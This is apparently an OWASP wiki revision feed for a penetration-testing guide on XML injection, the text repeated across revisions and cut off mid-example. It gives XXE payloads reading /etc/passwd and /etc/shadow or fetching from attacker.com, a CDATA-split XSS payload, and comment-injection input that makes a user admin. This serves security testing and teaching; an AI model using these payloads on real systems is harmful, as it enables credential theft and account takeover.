 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
we will obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.&lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. Entity-name as ''&amp;amp;amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36985</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36985"/>
				<updated>2008-08-23T04:27:40Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an xml style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node on an xmlDb file.&lt;br /&gt;
Let's suppose xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user register himself by filling an html form, &lt;br /&gt;
the application will receive user's data in a standard request which&lt;br /&gt;
for the sake of simplicity will be supposed to be sent as GET request.&lt;br /&gt;
&lt;br /&gt;
For example the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
Will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to the application, which, afterwards, will build the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability, consists in trying to insert xml metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
A list of xml metacharacters is:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml&lt;br /&gt;
parsing if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted into attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The xml document will be no more well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.&lt;br /&gt;
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
we will obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.&lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. Entity-name as ''&amp;amp;amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
